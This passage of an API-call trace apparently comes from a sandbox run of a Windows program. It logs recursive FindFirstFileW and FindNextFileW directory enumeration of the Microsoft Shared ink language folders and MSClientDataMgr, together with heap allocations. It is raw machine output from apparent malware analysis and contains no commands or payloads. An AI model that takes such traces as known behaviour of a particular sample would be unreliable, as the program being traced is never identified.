ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.966] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0217.966] GetProcessHeap () returned 0x560000 [0217.966] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.967] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0217.967] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0217.967] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0217.967] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0217.967] GetProcessHeap () returned 0x560000 [0217.967] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.967] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0217.968] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.968] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.968] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.968] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0217.969] GetProcessHeap () returned 0x560000 [0217.969] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.969] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0217.969] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0217.969] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0217.969] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0217.970] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0217.970] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0217.970] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0217.970] GetProcessHeap () returned 0x560000 [0217.970] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0217.971] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.971] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.971] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.971] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0217.971] GetProcessHeap () returned 0x560000 [0217.971] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.971] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0217.971] GetProcessHeap () returned 0x560000 [0217.972] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.972] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0217.972] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.972] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.972] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.972] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0217.972] GetProcessHeap () returned 0x560000 [0217.972] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.972] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0217.973] GetProcessHeap () returned 0x560000 [0217.973] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.973] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0217.973] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.973] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.973] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.974] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0217.974] GetProcessHeap () returned 0x560000 [0217.974] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.974] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0217.974] GetProcessHeap () returned 0x560000 [0217.974] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.974] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0217.975] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.975] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.975] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.975] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0217.975] GetProcessHeap () returned 0x560000 [0217.975] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.975] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0217.976] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0217.977] GetProcessHeap () returned 0x560000 [0217.977] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0217.977] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0217.977] GetProcessHeap () returned 0x560000 [0217.977] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0217.977] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0217.977] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.977] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0217.978] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0217.978] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0217.978] GetProcessHeap () returned 0x560000 [0217.978] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0217.978] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0217.978] GetProcessHeap () returned 0x560000 [0217.978] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0217.978] 